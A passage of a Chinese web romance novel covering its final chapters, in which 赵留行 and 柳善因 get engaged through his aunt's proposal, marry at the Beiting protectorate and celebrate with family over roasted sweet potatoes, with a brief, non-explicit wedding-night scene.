可等二人分开,柳善因不是急着大口喘气,而是在歪过脑袋呸呸呸个没完,这可气恼了赵留行,他故作嗔怪唤了她的名,“柳善因,你这就嫌弃我了?” 她擦了擦嘴边的果渍,连忙解释:“不是呀,葡萄得吐籽啊!” “……” 合着亲了半晌,他把籽都送去了柳善因嘴里。 此刻,恢复理智,赵留行忽而感觉有些难为情,他轻咳两声直起了身,柳善因也跟着挺起了背脊。两个人就这么在屋里大眼瞪起了小眼。 赵留行的心在见到柳善因后终于松懈,困意也随之袭来。 “跟我睡一觉吧。” 他站在椅前用腿夹住了女郎的双膝,一本正经。 柳善因听后却有些愕然,“啊?现在就要吗?是不是太早了些,虽然迟早得,但……” 赵留行蹙起眉,觉得莫名其妙,“早吗?可我现在就想,还非得等到晚上吗?” 不早吗?而且随时都可以吗? 她不太懂! 柳善因抿了抿嘴,没有出声。 可她瞧着眼前人态度坚决,还是勉为其难地应了声:“那,那好吧。” 赵留行茫然站着,他不懂只是和从前一样上床休息,女郎到底在为难什么? 柳善因歪过头朝床铺的方向看了看,“去床上吗?” 赵留行嗯了一声。 他实在困得不行,恨不能现在就躺下睡觉,便急匆匆拉着女郎往床铺去,柳善因瞧他猴急的模样,跟在后羞答答,不敢多问,也不敢言语,整个人脑子懵懵的。 等两个人站在床边,赵留行如往常般道是:“你还在里面,躺进去吧。” 柳善因却瞬间红透了脸。 她晕晕乎乎脱鞋上床,又在赵留行上来前低语,“你先别上,你先把床帐放下来……” “?” 放床帐作甚? 赵留行个木头脑袋到现在也没察觉不对劲,他私以为是柳善因怕屋里太亮影响安眠才要如此,他虽有不解,但还是尊重她的选择,抬手乖乖将床帐放了下。 瞧着万事俱备,赵留行即刻掀帐而入。 只是…… 为什么他一登床,柳善因就要解他的衣带! 难不成是看盛夏炎热,宽衣解带好叫他睡得安稳? 赵留行愣在床上,开始揣摩。 柳善因却认认真真解起他睡袍边的绳子,直至她那双滚烫的小手怪异地朝他腰间伸去,赵留行这才恍然大悟,他赶忙抓住柳善因的手,制止住她大胆的动作惊诧道:“小柳,你要干嘛——” “不是赵赵将军说的,要,要睡一觉吗?”柳善因一脸无辜,赵留行羞愤难当,“我,我不是那个意思。” 话音落去,两个人对上眼神,双双松手躲闪而去。 “……” “……” 帐中气氛一瞬间沉寂。 二人一个躲在床头,一个歪在床尾,好似隔出了十万八千里。 柳善因捧着脸不知如何是好。 原来赵赵将军根本没有那些乱七八糟的意思,是自己会错了意,人家是要安安稳稳的睡觉,她怎么能往那处想呢!真是没脸见人了,以后还怎么跟赵赵将军相处…… 哎呀,丢死人了! 可不怪柳善因多想,瞧瞧赵留行从开始到现在那副主动的模样,便很难不让人误会。但瞧未过三秒他更是故意敞开衣衫,舔着脸在柳善因面前放低姿态道:“其实小柳……你若愿意的话,我也可以是那个意思。” 说真的,他也不是很困。 第74章 第74章正式提亲 赵留行好不容易斗胆放荡一回,偏吓得柳善因转头扑进床里躲藏起来,瞧她将脑袋埋在二人的枕头间小声嘀咕:“算,算了,赵赵将军还是快些睡觉吧……” 赵留行回眸笑着看了羞涩的女郎一眼,自觉系好衣带,没去强求。 他就知道她定会反悔。 柳善因静静趴着不敢妄动,她还在懊恼适才的尴尬,赵留行却忽而掀被覆去,将人紧紧抱在了怀中。 床上,仍是熟悉的相拥。 柳善因仿若一瞬间回到了洛阳的小屋,那与赵赵将军相守的时光,简直就像是她在绝望过后,幻想出的一场美梦,赵留行不止将她从黑暗中拉出,更带给了她新的希望。 柳善因感受着身后人发烫的胸膛,忽而柔声唤了声:“赵赵将军……” “怎么?改主意了?”赵留行循声惊喜地探出头来。 柳善因噘噘嘴,用手肘蹭了蹭身后不正经的人,以示警告,“哎呀,不是!我是一直想问,你到北庭了,那二姑呢?二姑不与你一起回来吗?” 赵留行哦了一声,失落落地将头抵去女郎的后颈,闷声道:“二姑应该快了,再有个三五日吧。” 柳善因点点头。 离京两月,她心里实在有很多事想问,她便摸了摸赵留行的手背继而道:“那咱们都来了这边,家里怎么办呢?长夏被调回护军府了吗?土酥呢?她家老爹的病好些了吗?乳娘呢?乳娘回家了吗?” “哦对,还有在街上买的狗狗们,你给一并带回来了吗?” 柳善因的问题接二连三,听得赵留行头大,可尽管他昏昏欲睡,却还是眯着眼睛耐心解答:“狗让二姑带回来了,乳娘我也给了遣散费送走了。土酥她爹倒是好了,但这一病听说跟变了个人一样,把酒楼留给土酥和她阿弟,自己下江南去了。至于长夏……” 赵留行正说着打了个哈欠,柳善因却翻身过来跟他面对了面,“至于什么?你快说。” “二姑把她从护军府要过来了,好像叫她以后就照看着宅子,还给涨了些工钱。”赵留行困得不行,彻底将眼合了去,柳善因闻言倒是有些奇怪,“他们居然同意长夏留在家里?” “不过也挺好的,留在家里倒是比在那边强。” 赵留行不由得冷笑起来,“哼,他们也不是同意,应是顾不上。” “顾不上?”柳善因不明白。 赵留行向前拱了两下,直到碰到女郎柔软的脸蛋,他才张口道:“不知为何,陛下突然给滏阳郡主和老七赐了婚,护军府都乱成一锅粥了,哪有功夫管长夏的事。” “啥!”柳善因惊讶地抬起头,却正巧与赵留行的鼻子撞上,痛得其嘶了一声,她赶忙伸手帮他揉了揉,边揉还不忘追问道,“陛下为什么会给他俩赐婚呢!” “不知……”赵留行跟她一般茫然,他甚至怀疑是二姑跟陛下说了什么,却也不敢妄加揣度。 毕竟这婚只要不赐到他头上,便与他无关,他只要能与柳善因成亲就行。 柳善因摸着赵留行的鼻子絮絮叨叨,“赵赵将军,家里的东西你都带回来了吗?二姑回来需不需要添置些什么呀?如果需要的话,咱们明日就去市集上买吧~” 赵留行却已在她的喋喋不休里进入了梦乡。 “这就睡着了吗?” 柳善因看着赵留行俊朗的睡颜,悄悄帮他盖起被角,随之埋进眼前人怀中,她也跟着就此幸福地睡去。 只是两人睡下未过三刻, 就有人在外头咚咚咚叩了三声门。 柳善因迷迷糊糊抬头,赵留行也茫然睁眼看向她,“是有人敲门吗?” 柳善因惑而无解,“好像是,我去瞧瞧。” 可她才刚伸出脚,就被赵留行拦下,“你别去了,我去吧。” 赵留行顺势下了床,柳善因便懵着脑袋趴在床上看他。哪知,赵留行刚一开门,小宝就被人从门缝里递了进来,他慌里慌张接过小家伙,看着门外的柳家嫂嫂愣起了神。 他听柳家嫂嫂说:“小妹不是说要帮我看孩子?我正巧这几日休息不好,麻,麻烦你们帮我带带小宝。” 徐玉之在屋里坐立难安,生怕这小年轻好不容易见面干柴烈火一点着,做出些有损自家小妹声誉的事,往前她能理解他们住在一起是被逼无奈,装给别人看。 可如今来了北庭,又没成亲,还往一块贴成何体统? 所以徐玉之便改了主意,这些说辞都是她的借口,她想有孩子在,这二人总不能恬不知耻到做那事!为了保护小妹,就是让她母子暂时分离,她咬咬牙也忍了! “行了,不打扰赵将军休息,我回去了。” 徐玉之说罢就走。 独留赵留行抱着沉甸甸的小家伙,茫然无措望向床铺上的柳善因,幸好小家伙和他熟络,不若这会儿瞧见母亲远走,定是嚎啕大哭,他这觉也就别想再睡。 听见始末的柳善因,未觉得有何异常。 她甚至高兴地拍了拍床铺,朗声道:“来吧小宝,又能跟小姑一块睡觉喽——” 小家伙乐地呵呵笑,赵留行也顾不得多想,抱着小家伙习以为常地朝床铺走去,“走喽小宝,还有姑丈!”- 柳善因和赵留行这一带孩子就是五天,别说徐玉之这法子还真是管用,莫讲两人有什么心思,单是赵留行想跟柳善因腻歪一会儿,都要选个小家伙看不见的角落。 这日傍晚,赵留行刚把小家伙哄睡着,转头就往东边坐榻上的柳善因跟前凑。 柳善因推推他,他还死皮赖脸地不肯走。 “小宝刚睡,你要干嘛!”柳善因搁下手里的针线活,小声言语,她真的很不解曾经那个生人勿近的赵赵将军去哪了,现在的他怎么就跟个狗皮膏药似的,黏上了她。 赵留行却将双臂撑在柳善因面前沉声说:“你觉得我要干嘛?” 柳善因偏过头,不想理他。 赵留行却越靠越近,瞧着若不是外头有人来告知他都护大人来了,他是不打算放过柳善因。 赵留行不情不愿地起身,“知道了,我这就过去。” 柳善因听闻接茬道:“二姑回来了,我与你一块去。” 赵留行却看了眼床上的娃娃说:“太晚了,二姑收拾收拾也该休息了,而且咱们得有一个留下来照看小宝不方便,你明早再去看她也不迟。二姑不在乎这些有的没的,也不会怪罪。” “那好吧。”柳善因点点头,“你替我给二姑带声好。” 赵留行嗯了一声,在离开前嘱咐:“困了就上床睡觉,不用等我。” 柳善因莞尔一笑,冲他摆手催促:“知道了,快去吧。”- 都护府比洛阳的宅子大上很多。 赵留行住的南院离赵平澜住的北院相距甚远,他走了整整一刻钟才到了北院的门外,到时,赵平澜正忙着喂狗,根本没顾得上招呼他,他便负手站在院中跟二姑打趣,“您可算有事做了。” “臭小子,你还好意思说?”赵平澜白了赵留行一眼。 赵留行笑而不语,他知晓二姑虽嘴上这么说,但实打实乐在其中,她啊,只是嘴硬。 赵平澜回过头随口问了句:“柳娘子她们都安顿好了?” 赵留行嗯了一声,“安顿好了。” 二人就这么同往常般简单聊了两句,便就此陷入沉默。 赵留行环顾四周,使人忙碌来去,似乎也没有什么要帮忙的地方,打算转身离去,可还没等他抬脚,就似是想到什么般回身冲赵平澜请求道:“您能借我些钱吗?” “借钱?”赵平澜挨个拍了拍狗脑袋,起身诧异,“你要钱做什么?” 赵留行不假思索地答曰:“我要提亲。” 赵平澜哦了一声,转身离去,她瞧着像是对这件事毫不在意。 赵留行猜不透二姑的想法,抬脚追了上去,“我总不能一直让小柳这样无名无分地跟着我,我想娶小柳为妻,可您也知道,我的钱都在小柳那。您就借我些钱,我一定会还给您。” 可赵平澜的态度却让赵留行大失所望,只瞧她半握着屋门,漠然将侄子拒之门外,“说完了?我累了,要休息了,你莫在这里碍事,走吧。” “二姑。”赵留行不肯放弃。 赵平澜偏不管不顾地关上了门,余剩下赵留行在门外怅然。 直到第二日,赵平澜不顾奔波劳累,一大清早穿戴整齐,带着多年前就准备好的几大箱聘礼敲了徐玉之的门,赵留行才终于读懂二姑那深沉的爱…… “都护大人,您这是?” 徐玉之推开门,望着被聘礼堵住的屋门诧然。 赵平澜却生平第一次讲究起礼仪,恭恭敬敬地拱手回复说:“见过柳家大嫂,今日冒昧,我是来为我家侄子向您家小妹正式提亲——”【你现在阅读的是魔蝎小说 moxiexs】 【终章】 第75章 第75章他们的家 赵平澜办事一向雷厉风行。 提亲后的第三日,她便为二人举办了婚礼,就连赵留行自己都觉得不可思议,一切竟然会如此顺利,而作为新妇的柳善因更是懵着脑袋还没缓过来劲,便看着门前红绸束起高阁。 然那日的徐玉之之所以同意小妹与赵留行成亲,并不是贪心那一箱箱贵重的聘礼。 她是为着赵留行同她说出的那句:“徐娘子您放心,从今往后我作为家中唯一的男人,定会好好爱护您的小妹,帮您把这个家担起来。” 话落之后,徐玉之坐在屋里愣了很久,她不确定自己能不能替柳徽做这样一个决定。 可恍惚一瞬,当她抬头望向门外,柳徽就好似站在了斑驳的光影里笑着冲她说:“玉之,长嫂如母,这个家没有你,兴许早就散了,所以你觉得好,便是最好的。” 徐玉之敛回目光,眼有些红,只听她冲赵留行点了点头。 “诶,赵女婿,谢谢你。”- 远离了那些高门规矩,都护府里的婚礼,自是随心随意。 但该有的,赵平澜是一样也没少给小两口,贺鹮归说得不错,她这辈子确实把很多心血都倾注给了赵留行,可其实,她也只是在弥补儿时的自己。 谁叫赵留行与她那般相像呢。 喜堂之下负手而立,赵平澜凝眸看向远方,洛阳的一切好似从此刻开始,再也不与他们有关,但在新生活的期盼里,她并未觉可惜,毕竟在京的最后一晚,她也未留遗憾。 赵平澜举目瞧见徐玉之缓缓行来,颔首打了个招呼:“柳家大嫂。” “都,都护大人。” 徐玉之碰上赵平澜多少有些发怵,她这辈子除却自家夫君与赵女婿,见过最大的官就是他们县的县太爷,猛地要和北庭都护攀亲家,简直就跟做梦一样。 赵平澜在旁平和地邀请,“约摸着他们两个也快准备好了,咱们先落座吧。” 徐玉之望向高堂,慌忙推拒,“我,我?您是长辈,您坐合适。我个晚辈无功无禄,受不起这个位置,我在旁边站着观礼便好。您坐,您坐——” 不料,赵平澜却坚定地与之说:“若这般说那我这个姑母岂不是也没有资格坐下?可没有咱们,能有这些晚辈的今日?莫管那些破规矩,咱们比谁都有资格坐在这里,你就安心地坐下。” 徐玉之闻言望着赵平澜愣然,明明眼前人只比自己大不了几岁,却好似看透了自己一生都难以悟透的道理。 她是真的打心眼里佩服眼前这个女人,便恭敬不如从命,“好,我坐,晚辈听您的。”- 北院的房间里,柳善因满心欢喜地坐在挂红的床铺上期待着赵留行到来,这间屋子本是赵平澜住的,可她却让出来给柳善因当了出嫁的闺房。 待会儿赵留行便会从南院过来与她拜完天地,然后再将她娶回南院去。 柳善因攥着遮面的团扇,灵动地朝门外张望。 今日她没过五更便起,结果到了现在却是一点也不困。直到风听和吾雷的哄闹声在廊外响起,喜娘便催促她快些端好扇面,别叫郎君瞧着她的脸。 “哦好。” 柳善因乖乖坐好。 赵留行随之跨门,只瞧他好似心无旁骛,略过喜娘的规矩急呼呼就往床前去,“小柳,我来了——”若不是柳善因却扇提醒,“赵赵将军,喜娘的词,词还没说!” 他约摸着就要一把将人抱出门去。 房间内乱成了一锅粥,新娘在不该却扇时却扇,新郎在不该闯门是闯门,着实让兢兢业业了一辈子的喜娘两眼一黑,她从也没见这么猴急的新人。 赵留行离心爱之人仅差半步,却又在柳善因的教导里回身,恭恭敬敬朝喜娘致歉。 弄得喜娘哭笑不得。 可不知是被他们这轻松的氛围感染,还是怎的。 喜娘竟笑着摇头说:“罢了罢了,郎君,婚礼是你们的,日子也是你们,就按你们想要的来——都护大人也交代了,少些繁冗的礼仪规矩,顺心而为。您这就去接您的新妇吧。” 赵留行就等着她这句话,瞧他道了声谢,转头一溜烟就跑去了媳妇面前。 柳善因拿着扇子忘记遮面,只顾傻呵呵地乐,她现在只要看见赵留行的脸就会觉得幸福,那时的她,应是怎么也不会想到,自己能嫁给赵赵将军这样的人。 赵留行半蹲在她的膝边,捏着她搁在腿上的扇子惑然追问:“小柳,这扇子是不是该这么端着?” 柳善因这才大呼:“呀,我忘了,只顾着看你了!” 新妇憨态可掬的模样, 不由得惹得在场之人哄堂大笑。 赵留行更是笑逐颜开,他赶忙捧着媳妇握扇的小手诚恳发问:“小柳,我最后问你,你愿意和我成亲,让我成为你的家人吗?你要现在后悔还来得及,但今日一过,你可就不能再有悔意,我这一辈就赖定你了。” “我当然愿意,而且……”柳善因答得斩钉截铁,她勾勾小手,“你过来,我和你说个秘密。” 赵留行眼巴巴贴了过去。 “我真的很喜欢赵赵将军,也很喜欢赵赵将军做我的夫君。” 新娘子随便一句真情的告白,搞得新郎官血脉偾张,洞房,现在能不能就入洞房! 赵留行偏按捺着心里的悸动,故作矜持道是:“我都知晓。” “这算什么秘密。” 柳善因噘噘嘴,真不知原来是谁趴在她耳边卑微说,一辈子不爱自己也没关系,现在怎么就这么自信?赵留行却洋洋得意地起身,朝她递去了想要携手此生的掌心,欢声道:“夫人,走吧。” 柳善因偏哼了一声,扭过头发了发小脾气。 赵留行见势俯身将人横抱而起,瞧他在隔着扇面偷亲了自己媳妇一口后,随即扬声说:“走喽,拜天地去——” 哄闹声也就此乍起- 喜堂三拜,小两口欢欢喜喜地冲天地拜下。可回看高堂之位的徐与之却是坐立难安,赵平澜见状望她一眼,轻声安慰道:“别紧张,不过是仪式而已。” 徐玉之掐着掌心点点头,却恍然感受到一股温暖的力量在她的座旁,握住了她的手掌。 她紧张的心情,也随之松解。 柳徽就宛如与她同在,他亦亲眼看着他最疼爱的小妹安稳下来。 小两口牵着红绸转身,就好似商量好了般,在躬身行礼后沉声于座上的人一一致谢。 “二姑,嫂嫂,谢谢你们。” “嫂嫂,二姑,谢谢你们。” 赵平澜挑眉朗然一笑,徐与之却感动地落下泪来。 下一刻,在长辈的祝福里,柳善因和赵留行小心翼翼地夫妻对拜,也是由此一瞬,他们二人的命运开始像手中牵着的红绸般紧紧相连 ,只见夫妻两个相视一笑,互相感怀。 “夫人,谢谢你。” “夫君,也谢谢你~” 话落,赵留行把手中红绸狠狠一拽,便将爱妻带入了怀。 他这就打算带人归家去,却被赵平澜起身喝止:“臭小子,急什么——反正你媳妇现在回去在屋里也是干坐着,有什么意思,你俩就在这儿一块吃完席面再走,正巧和大家热闹热闹。” “今日来的都是自己人,没那么多臭规矩。” 赵留行转眸看着柳善因心道,也不是不行。而柳善因一听能吃自己的酒席,两眼瞬间放出光来。 赵平澜走来看自家的傻小子还傻愣着,伸手夹着他的脑袋,将人拉了出去,“走吧,耽搁不了你入洞房。” 徐与之随即走来揉了揉小妹的肩,同样搭腔道:“走吧,好好吃些东西晚上有力气。”- 喜宴随性而开,今日来的大多是追随赵平澜的女部将,赵留行的手下,以及柳徽在军中的旧友,如此一群人坐在一块,气氛轻松,到处都是推杯换盏的爽朗笑声。 以至于喝到黄昏将尽,灯火初燃,众人还未有离散之意。 柳善因不擅饮酒,大家也就没去强求。 她与徐玉之听着柳徽原来在军中的趣闻,甚是津津有味,就仿若柳徽还时一样。 可还没聊到尽兴,赵留行便趁机过来坐在柳善因的旁边,撒起了娇,只见他醉醺醺往柳善因怀里一靠,“夫人,我难受…我想,想睡觉,咱们回去好不好……” 柳善因摸摸赵留行的脑袋,朝徐玉之看了一眼。 徐玉之赶忙出言:“小妹,既然妹夫醉成这样,你们且回去吧,这儿有我和都护大人招呼,你们就别管了。” 柳善因点点头,道了声有劳嫂嫂,转而就和大家告别架起赵留行往后院去。 她一路只想着快点回去,温些热水给自家的男人擦洗擦洗。 可谁知等好不容易回了屋,柳善因刚刚把人往床上一搁,赵留行就原形毕露,一把将她拽进了怀里,吓得她紧张大呼:“赵赵将军,你怎么没醉——” 赵留行却抱着怀中人吻了吻她的脖颈,“夫人还真是好骗,你仔细闻闻我身上有多少酒气?” “还真是呀!赵赵将军身上真的一点味道也没有。”柳善因被人吻得脖子痒痒,下意识伸手挠了挠。她大抵是在席上呆的太久,鼻子被酒味浸泡了太久,这才没察觉赵留行是在装醉。 赵留行转而抓住她那挠脖子的手,搁在脸上蹭了蹭,似作嗔怪:“为何还叫我赵赵将军……咱们是夫妻了。” “我叫习惯了,你等我多缓几日,肯定能改过来!”柳善因一脸无辜地解释,转头就要从赵留行怀里起身,瞧着她是把入洞房的事,全然抛在了脑后。 可赵留行期待了这么久,忍耐了这么多,岂能这么轻易将她放过? 不若,他不就白装醉了。 赵留行憋着身上那股躁意,将人按倒在了床铺上。 柳善因仰面望着夫君的眉眼,一脸茫然。 当真酒不自醉人自醉,她看得真切赵留行的眼中有火在烧。 赵留行伸手抚摸起她的额头,低声恳求:“那时候一口一个夫君叫的顺溜,如今成了真,怎么就叫不出口了?我现在就要听。” 柳善因察觉到气氛不太对味,害羞地低下了头。 她试图躲上一躲,“夫,夫君……你,你先起来。”却被人狠狠剥落了衣衫。 情起时,帐中微热,甚至有些发闷。 柳善因躲不过某人火热的目光,便放任他将自己往床中间挪了挪。 她其实有些期待,却不敢张口表达。 直到他们都变得同样坦诚,她才敢试探着垂眸看对面人分明的手臂,俊朗的脸庞,健硕的胸膛,无不撩动着她的心房。她感受到,他离自己越来越近,无比地近,甚至不再有难以逾越的距离。 赵留行便由此向下,最终将个深沉的吻落在了她肉乎乎的小腹上。 此时再瞧柳善因已是面颊泛起红晕,呼吸里也带着些许热气,赵留行摸了摸她散落在枕上的头发。 随之抓起了她的掌心,就此沉沦下去。 再相望时,褪不去夏日闷热,在帐中挥散不尽。赵留行于不经意瞥见柳善因蹙起的眉心,咬住的掌心,不知缘由,便渐渐缓和下来,他问:“怎么?是哪不舒服吗?” 柳善因却摇了摇头,“不…不是,我是怕被别人听到……不太好。” 赵留行闻言会心一笑,他家夫人还真是可爱得紧,这个时候都在前头,院中哪有什么人啊- 后时,相拥而眠。 铺上的狼藉,柳善因懒得去理,她耷拉着脑袋靠在赵留行怀中,总算知晓今日嫂嫂提醒自己多吃些有力气,究竟为何……原这事,它还是个力气活,不过瞧上去旁边这个似是要比自己更累一点。 他好像从开始忙活,到最终收场就没停过。 但谁让大公牛有的是力气,他到此刻也没觉得太累,甚至还将怀中人揉了好几遍。 柳善因没推拒。 赵留行便将头埋在她的身上,笑了两下。 “你笑什么啊?”柳善因纳了闷,赵留行解释说,“我高兴,你不高兴吗?” 柳善因点点头,她是挺高兴的。 无论是成亲,还是洞房,她都很高兴。 可赵留行没说实话,但他也断不会告诉柳善因,今晚洞房之所以能如此顺利,全要仰仗二姑那日离开南院前,偷偷塞给他的那本书,不若今日他俩摸索一夜,也只能大眼瞪小眼。 柳善因对这事不懂,他素来无人教导亦是一窍不通…… 如何还能像现在这般高兴呢! “你不困吗?”毫不知情的柳善因,抬手拍了拍身后人。 赵留行随即应声,“不困。怎么?夫人是还想要吗?”惊得柳善因慌忙挥挥手,“不要了,不要了……我是有些饿了。” “饿了?这还不好说。”赵留行扯了衣衫套在身上,转头下床挂起了帘帐,“我记着厨房有些番薯,咱们就还像上次一样烤来垫垫肚子如何?” 柳善因缓缓回眸,裹着被子坐了起来,“不若咱们先去洗漱,然后再去烤番薯吧,我身上黏黏的,不舒服。” 赵留行见状俯身过来照着眼前人亲了一口,“成,都听你的。” “为夫去烧水——”- 柳善因和赵留行在浴间一拖沓又是半晌,出来生起炭盆的时候已经过了三更,她早知就不与他一起洗了,现在的赵留行瞧见她,就像狼见了羊,满眼都写着馋。 两口子小心再小心,却还是吵醒了刚刚睡下的嫂嫂。 徐玉之披衣推门瞧见两个身影鬼鬼祟祟,不由得追问:“小妹妹夫,这么晚不睡觉,在这儿做什么?” “嫂嫂,不好意思吵到你了。”柳善因举目挠挠头,“我们在烤番薯吃,嫂嫂要吃吗?” 徐玉之回眸瞧了眼睡熟的儿子,抬脚出了门,她来到小两口面前,低声问:“是妹夫饿了吗?” 柳善因摇摇头,“是我……” “你?”徐玉之瞠目结舌,小妹席上明明吃了半只炖鸡,四分之一的肘子,以及数不胜数的素菜,怎么到这会儿还能饿呢?妹夫,这是给人折腾成什么样了。 可要不说还是徐玉之心疼妹妹,她转头就要往厨房去,“只吃番薯怎么行?你等着,我去给你们做个带汤的。” “不用嫂嫂,不用麻烦,我吃番薯就行。”柳善因慌里慌张扯住徐玉之的衣角。 姑嫂两人推让了半天,差点没把徐玉之拽翻。 徐玉之无奈只得吐口:“行了行了,我不与你让了,你想吃再与我讲行了吧。” 柳善因笑着点点头,“谢谢嫂嫂,嫂嫂最好了。” 徐玉之拍了拍小妹的手背,反正她也没了睡意,便在妹夫递来的小凳上坐了下来。 赵留行这边看着人家姑嫂情深义重,刚觉得温暖,就在转眸时被院中站着的“恶煞”吓了一哆嗦,“天爷,您怎么跟个鬼一样,半点声音也没有,您知不知道人吓人是能吓死人的——” 赵平澜瞪着自家这烦人的侄子一眼。 她今日看在新妇的份上,暂不与他计较。 还是侄媳好,柳善因一瞧见她,立刻喜笑颜开地问候:“二姑,您怎么来了?是有什么事吗?” 赵平澜比徐玉之自觉,她随手拎了个小凳,坐在了炭盆边的空荡处,“没什么,我就是怕柳家大嫂不方便,想来瞧瞧她要不要带着孩子搬去北院和我住。” 别瞧赵平澜平日凶巴巴,实际她的心比谁都细。 徐玉之抬起头,有些慌张,“啊?我如何能跟您住在一起,我这还带着孩子,吵吵闹闹的太打扰。” 她其实也觉得自己跟小两口挤在一个院子不方便,但和都护大人住在一起,又实在折煞,她便想了个折中的法子,“我瞧府中还有些别的房间,我明日在外头随便找个打扫打扫,带着小宝搬过去也是一样。” 赵平澜听出徐玉之话中用意,转而替她拿了主意,“北院这么多年就我一人,也是孤单。你就带着孩子过去住,不妨事,我明日命人过来帮你搬东西,你莫推脱。” 都护大人的命令难违,小两口也不敢插嘴。 徐玉之迟疑半晌,理解她的好意,终是欣然应下:“那就谢过都护大人了。” “给您添麻烦了。” 北庭的晚风带着丝丝清爽,柳善因依偎在赵留行怀中,看着两边长辈融洽相处甚是幸福,如此,一个小小的炭盆前,从两个人变成了三个人,从三个人又变成了亲密的一家人。 徐与之起了身,“既然都护大人来了,这些番薯肯定不够,我再去拿些鸡蛋烤。” 柳善因也屁颠屁颠跟了上去,“那我去帮大家拿些酒来!”- 姑嫂二人欢快步入小厨房,院中只剩了姑侄二人尬然相对。 赵平澜一脸鄙夷地看着赵留行,她想臭小子跟自己比简直差远了,竟然这么早就离了床,真是没用的东西。 “您这是什么眼神?”赵留行不明所以。 赵平澜环起双臂,隐晦着询问,“今日尚且顺利?” 赵留行愣了一下,很快便答曰:“顺利得很,二姑放心。” 赵平澜冷笑,“行了小子,成了婚就是大人了,要撑起家,要有担当,有些力所能及的事,该做就做,有点眼色,别总睁着你那死鱼眼看不见,更别让侄媳累着,她可是要和你过一辈子的人。” 她一遍遍教诲。 赵留行也一遍遍听着,“知道了,这话您都说多少遍了,话说回来那二姑您没成婚,就不是大人了?” “嘁,你懂个什么,你知我没成过婚?”赵平澜出言反驳。 她的话模棱两可,听得赵留行脑子一头雾水,“您什么时候成过婚!我天天跟您在一起,我咋不知道!” 赵平澜却盯着旺盛的火苗, 想起了那晚的红烛摇曳,再也没去开口回答他滔滔不绝的问话。 他……过得好吗? 直到柳善因和徐玉之归来,赵平澜才甩掉了赵留行的纠缠,她眼瞧柳家大嫂将鸡蛋搁上炭盆,再与大家端起酒盏。她想我很好,你也别挂心。 徐玉之趁着家人同在,笑着伸出酒杯,真诚祝福了对面互相依偎的新人俩。 她说:“小妹,祝你们琴瑟友之,海燕双栖。这是我的祝福,也是你们大哥的。小妹,你大哥瞧见你能这样幸福,一定特别高兴。” “嫂嫂……”柳善因轻唤凝噎。 气氛就此下坠。 终是从容的赵平澜打破了僵局,她主动与之碰盏,“来,敬柳家大哥,敬他们俩,也敬咱们自己。” “诶,也敬咱们自己。”徐玉之把酒痛饮。 苦痛的冬天早已过去,明朗的夏日正帮他们驱散蚀骨的寒意,他们会带着许多人的挂念,不断向前奔行,直到在岁月的尽头重新相遇,到时他们也定会把这一路的苦痛,讲给真正在意的人听。 柳善因与赵留行转眸相视一笑,默契地交杯饮下。 “夫君,祝咱们——” “琴瑟友之,海燕双栖。” 此刻,善良的小柳觉得自己幸福无比,希望你亦如她般幸福下去。【你现在阅读的是魔蝎小说 moxiexs】